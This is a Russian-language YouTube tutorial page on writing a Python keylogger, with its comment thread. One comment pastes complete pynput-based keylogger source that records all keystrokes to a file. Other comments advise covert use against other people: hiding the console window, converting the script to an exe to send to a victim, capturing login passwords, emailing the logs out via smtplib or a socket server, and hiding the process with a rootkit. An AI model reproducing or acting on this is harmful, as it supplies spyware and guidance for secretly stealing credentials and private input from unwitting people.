Как написать KeyLogger на Python
HTML-код
- Опубликовано: 7 сен 2024
- =-=-=-=-=-= Полезные Ссылки =-=-=-=-=-=
💻 Группа ВК: fsoky
📒 Личка: ansqqq
⬜️ Мой дискорд: Fsoky#9610
📚 Сервер Discord:
📰 Сайт: fsokycomm.info
📁 Моя тема Sublime Text 3: wall-17...
=-=-=-=-=-= Материалы =-=-=-=-=-=
Отсутствуют
=-=-=-=-=-= Прочее =-=-=-=-=-=
#keylogger #key #python #фсоки #программирование
[!!!] Обязательно в функции on_press, а именно в условии count (больше)= 10
укажите self.keys = []
Таким образом вы обнулите список
[!!!] Обязательно в функции on_press, а именно в условии count (больше)= 10
укажите *self.keys = []*
Таким образом вы обнулите список
Code: pastebin.com/hGP5d0PW
Traceback (most recent call last):
File "C:\Users\User\Desktop\pyloger.py", line 4, in
class Keylogger:
File "C:\Users\User\Desktop\pyloger.py", line 17, in Keylogger
obj = Keylogger()
NameError: name 'Keylogger' is not defined
че за ошибка, хелп
@@user-tg4zr1gd6t вместо "Keylogger" напиши название слоего класса, или поменяй название своего класса на "Keylogger"
Фсоки перешел на темную сторону
несколько замечаний по коду.
1. нет необходимости вводить переменную count, так как она всегда равна len(self.keys) (собственно в коде не было бы той ошибки о которой ты тут говоришь)
2. Зачем ты передаёшь в метод write_file параметр keys, если потом всё ровно берёшь значения из self. да и в принципе можно не выносить это в отдельный метод.
3. в твоей реализации можно отказаться от состояния, от списка ключей и тогда твои методы можно сделать статическими через @staticmethod. Если так сделать то нам не нужно будет создавать объект перед использованием, а в Listener передавать сразу KeyLogger.on_press
В целом для начала хорошо, ты молодец, но можно ещё лучше. Я на быструю руку накидал чуть более правильную версию, в которой файл мы открываем не внутри класса а вне и передаём в класс только поток. pastebin.com/SKuVtPx6
и версия со статикой pastebin.com/76J60UmL
А как русские буквы фиксировать. Другую библиотеку нужно, или что? Спасибо.
Спасибо за твои уроки)
а зачем создавать отдельную переменную, если можно просто узнавать длинну списка клавиш и после достижения лимита, очищать список ?
нахуй список если можно просто добавлять сразу клавишу в файл
Ещё не смотрел, но сразу лайк!
О даа, спасибо за этот кейлоггер питоновского цвета, 3-й версии
На termux есть
Сделай, пожалуйста, видео про логи в python!
У тебя есть телеграм канал?
подписался , крутой видос)
Фсоки привет, я хотел бы спросить какая у тебя версия пайтона просто у меня 3.8 и pyinstaller не работает ((
3.7.4
Привет брат спасибо за код, только он не работает когда открывается окно ввода логина и пароля , если запустить программу от имени администратора, что то нужно изменить в данном случае?
Не могу скачать библиотеку пишет что pip не является внутренней или внешней командой исполняемой программой или пакетным файлом
В PATH пропиши питон
Прикольно :3
о ты
привет виджел
спасибо за видео рил помог
Код будет работать в приложениях таких как: вк, браузер и т.д., а то ты пишешь код и показываешь только то что пишешь в cmd.
4:40 - зачем в метод своего же класса передавать поле класса? Можно же просто обратиться к нему внутри метода, но самое забавное что ты так и делал, все равно передавая переменную🤣🤣🤣
😅😅🤝
спасибо !!! Какую тему используешь в sublime?
Своя тема. В группе ВК есть
Не по колоколу, а по зову сердца
**Вспоминаю что сердце не может рекомендовать топовый контент**
значит по колоколу
Привет Фроски подскажи как ты в консоль cmd, поставил картинку очень интересно ))
Это не cmd был, это эмулятор
Снимешь видео про модуль sockets?
о, новый видос
>>> pip install pynput
File "", line 1
pip install pynput
^^^^^^^
SyntaxError: invalid syntax
Что мне с этим делать ?
Доработай его, сделай отправку на сервер или на почту ато без этого это же бессмысленно
его доделать меньше 3 минут. сам
Тебе надо ты и делай, человек показал тебе как и что. Там 5 минут сделать отправку на почту. Диванный коментаторщик.
@@alesmiller23456 ахахаха, тебя наверное даже в школе не трогают, никому до тебя нет дела, а еще у тебя нету друзей этот инфа сотка
@@user-kb9hc7oj8d токсичный диванный комментатор
Что бы я сейчас не написал, вам не будет обидно, вам не в первой будет такое услышать, а вот мне обидно, когда люди, намного ниже меня по статусу пытаются меня задеть, поэтому не буду тратить свои нервы на вас, челядь
начало топ!
Не совсем понял. Для чего в конце listener.join(). Я знаю для чего нужен join. Но в данной ситуации, не понял как это работает. Можешь объяснить?
Это метод модуля pynput, как я понял.
@@fsoky нет, join() это метод для работы со списками и он есть без модулей, а тут не понятно зачем он
Топ!
Как посмотреть с другово компьютера, какие кнопки нажимает пользователь? И как удаленно активировать этот кейлоггер?
как ты сделал чтобы у тебя открывалась не коммандная строка, а прога?
Привет. Я вот прогаю, прогаю, но дошло до того, что уже не знаю что и можно делать. Не мог бы ты посоветовать с идеями для кодинга?
Попробуй что-то новое
Если ещё актуально , то попробуй создать прогу например для взлома ). (Звучит банально) , но это прикольно
Можешь скинуть фото на аве?
Создай менеджер для управления игровым сервером
Листенер))) прикол
Да.
Интересно очень и просто.
Молодец.
Почему на count==10 - список не обнуляется и count не обнуля4тся, хотя можно только список чистить и писать в условии count%10==0
На пастбине нормальный код. Здесь забыл дописать строчку
@@fsoky Как можно запустить скрипт в фоновом режиме без консоли и ТД?
@@valera_kardan попробуй поставить расширение .pyw
у меня библиотека pynput не установилась пишит желтым цветом
WARNING: You are using pip version 21.2.3; however, version 21.2.4 is available.
You should consider upgrading via the 'C:\Users\Kirill\AppData\Local\Programs\Python\Python39\python.exe -m pip install --upgrade pip' command.
Это просто предупреждение о старой версии Пип. Оно никак не влияет на загрузку библиотеки
Если я запущу программу, а потом перейду в режим где надо вывеси пароль. Прога будет работать?
попробуй :D
вроде да
эмм.... Обязательно было использовать модуль pynput ? тип проще было бы использовать модуль keyboard можно было бы уложиться в 4 строчки кода, тем самым снизить вес файла
Напиши его пж
No module named 'pynput.keyboard'; 'pynput' is not a package что за прикол
У меня ошибка пишется в первой строчке под pynput
File "C:\Users\User\Desktop\py\key.py", line 11
def on_press(self, key):
^
IndentationError: unindent does not match any outer indentation level
перед def надо просто табуляцию
Как написать понятно, а вот как сделать чт от бы кейлогер фоном сидел и не убирался это уже проблема для новичка
А еще можно с помощью socket реализовать передачу данных
Да
Делаю точ в точь ничего не работает дайте код
Капец, только сделал кейлоггер только сохранил решил запустить его антивирус видит как вредоносную программу высокого уровня опасности
а как код запустить
???
В чем ты пишешь?
А как сделать что бы как у тя в 1 файле все показывалось и можно ли сделать чтоб показывались сообщения если ты вел в игре
Pyautogui
не ну ребят вам что по 7 лет?. тут от проги пользы 0. пароль допустим от забытого аккаунта она не найдет. она просто записывает рандомный набор который вы ввели и все
Куда делась экономика дс
какая версия SubLime text
почему мне пишет pip" не является внутренней или внешней командой, исполняемой программой или пакетным файлом
*Ты не установил Python, посмотри на ютубе*
@@user-mp7ux8ff3c я установил пайтон, и я все уже решил
Ребят куда сохраняется логи?
Так можно узнать, что гуглит твой друг)
ля ребят, подскажите почему модуль не может найти, хотя всё устанавливал миллион раз...
pip install pynput
Красава
Бро подскажи тему пж в саблайме, конкретное название
в описании "моя тема для sublime text".
А как его кому-то отправить
Какая это версия скажите пж
Сделай видео про ооп, плиз
Сделай гайд как написать бота казино на python
Типо ты делал гайд по экономическому боту а как людям зарабатывать монеты чтобы роли покупать
а сам никак не придумаешь
@@pr3d1ckt это ещё думать надо : D
@@Klaudyyyyyy создай функцию , чтобы она при каждом пополнение , монеты добавлялись в переменную , а эта переменная отвечает за баланс , и пока она не равна нулю можешь покупать различные штуки или типо того
Скиньте кто нибудь код, писать долго, а клава фиговая :/
что такое кейлогер?
как IDE называется?
Sublime Text 3
cmd ConEmu
что это cmd?
Командная строка
А где ссылка на файл ?
а как я узнаю какой пароль ввёл человек? оно же на почту не отправится
Ищи туториалы,присоединяй к серверу
А в чем проблема? Изучите модуль smtplib
Traceback (most recent call last):
File "C:\Users\User\Desktop\pyloger.py", line 4, in
class Keylogger:
File "C:\Users\User\Desktop\pyloger.py", line 17, in Keylogger
obj = Keylogger()
NameError: name 'Keylogger' is not defined
че за ошибка, вроде все на месте
вместо "Keylogger" напиши название слоего класса, или поменяй название своего класса на "Keylogger
@@damager7760 оба пробовал, ничего не работает
@@damager7760 с линукса все едет нормально, с виндой проблемы
self.keys.append(keys)
^
TabError: inconsistent use of tabs and spaces in indentation
помогите немогу с етим ничего поделать
Ошибку переведи, поймёшь
@@fsoky Спасибо
А можно сделать так, чтобы можно было смотреть, на каких сайтах были написаны эти символы?
скамер мелкий))
.
Точно не помню название библиотеки, но каждые допустим 5 симболов, с помощью библиотеки ты ьудешь получать адрес сайта
как сделать так чтобы работало после закрытия cmd просто сделать его в .bat?
скинь текст пж лень переписовать
если открыть этот файл,на другом компе то будет рабочим кейлогер?
Если у тово компьютера установоин питон и эта библиотека то да
А если ничего не установлено то нет
@@Jabkaaa_as можно сказать что он на других компах бесполезен
@@Jabkaaa_as а если этот файл перевести в exe ?
@@user-pg8iv4yv7t тогда да
@@Jabkaaa_as случайно не знаешь , как можно получать эту информацию ? Через сервер ловить или что?
А как этот взлом кому то подсунуть и чтобы ты видел что он нажимал на своём компе?
С какой целью интересуешься?
@@berluse-2464 , у человека куче причин может быть
@@intimatepimple4530 если они законные то ок
**пАмагите**
Что у тебя за тема в Subleme
Собственная. Ссылка в описании
Или советую ayu
2:41
Ну все..... компу учителя пипец)
не советую, антивирусы легко видят вирусы на пайтоне)
@Lutfer причем тут комп?
@Lutfer ХАХААХХААХАХАХАХАХАХАХАХААХАХАХАХАХХААХХА
@Lutfer ахуенная логика у тебя
Как это скинуть другу????
Сконвертировать в exe
Как вы изучали язык?
ходил на курсы 2 месяца, а дальше сам, изучал модули, писал какой-то код.. всякие программки просто для себя.
@@fsoky Спасибо
А какой программе код пишешь ?
sublime
@@fsoky спасибо
а это нормально что я ничего не понял
Если основы не знать и не быть как минимум любителем - да, можно не понять.
слушай скинь свой эмулятор командной строки
ConEmu
Кто знает музыку на фоне ;)
я написал этот код в текстовом документе и удалил я написал прямо как в видео а потом закинул на вирус тотал и он сказал что это кейлогер но вирусов не обнаружил я же надеюсь челу который этот код предоставил не кидаются мои буквы и цифры?
Довольно безсмысленный кейлогер, он просто записывает клавиши. Было бы лучше, если бы файл с записью можно было дать серверу. Вот что я имею ввиду:
Есть сервер, если к нему подключиться клиент, то все нажатые в нем (клиенте) клавиши будут записываться в отдельный файл, который будет сохранен на компьютер сервера
مرحبا اخي
Поставьте кто-то лайк, хочу быть сотым;)
Привет, а смысл какой в этой проге ?
Логгировать нажатие клавиш
@@fsoky Насколько я мог заметить программа работает, только когда само её окно в фокусе ?
@@osada4367 его можно скрыть. Установи расширение pyw вроде
Как установить библиотеку?
Какую именно
Гуглишь pynput pypi, копируешь команду
Киньте код))) Мне лень списывать!
pastebin.com/u/Fsoky
@@fsoky не работает!
@@rightscoot3873 нет работает
Найс тупо списал откуда-то код и сделал видос)))
После твоих импортов становится понятно , что питон не знаешь толком
Keys - киз, а ней кейс
ой, спасибки, буду знать)
Вообще по идеи "кийс"
@@fsoky А как возможно скрыть процессы работы кейлогера? Если ли руткит для питона?
Какой нахер киз? Колхоз.
native speakers from Africa can speak so but people from Russia or Ukraine want show off
оставь готовый код пж
import pynput
from pynput.keyboard import Key, Listener
class Keylogger:
def __init__(self):
self.count = 0
self.keys = []
def on_press(self, key):
print(f"{key} pressed")
self.keys.append(key)
self.count += 1
if self.count >= 10:
self.write_file(self.keys)
def on_release(self, key):
if key == Key.esc:
return False
def write_file(self, keys):
with open("log.txt", "a") as file:
for key in self.keys:
k = str(key).replace(" ' ", "")
if k.find("space") > 0:
file.write("
")
elif k.find("Key") == -1:
file.write(k)
if __name__ == "__main__":
obj = Keylogger()
with Listener(on_press = obj.on_press, on_release = obj.on_release) as listener:
listener.join()
@@fearless6282 спс
Детектится антивирусом?
Дайте код на троян
hell0
3:36 "qwerty" (кто понял, тот понял xD)
))))
понял) принял
Рыбка Эллиота... наша Кверти)))
а в чем смысл програмы
*_ХЕЛП_*
Заткнись
Чё за питон у тебя?
У меня совсем другой
Сначала просто импорт, потом конкретный импорт, чел определись что тебе надо импортировать, или поучи чуток пайтон прежде чем записывать ролики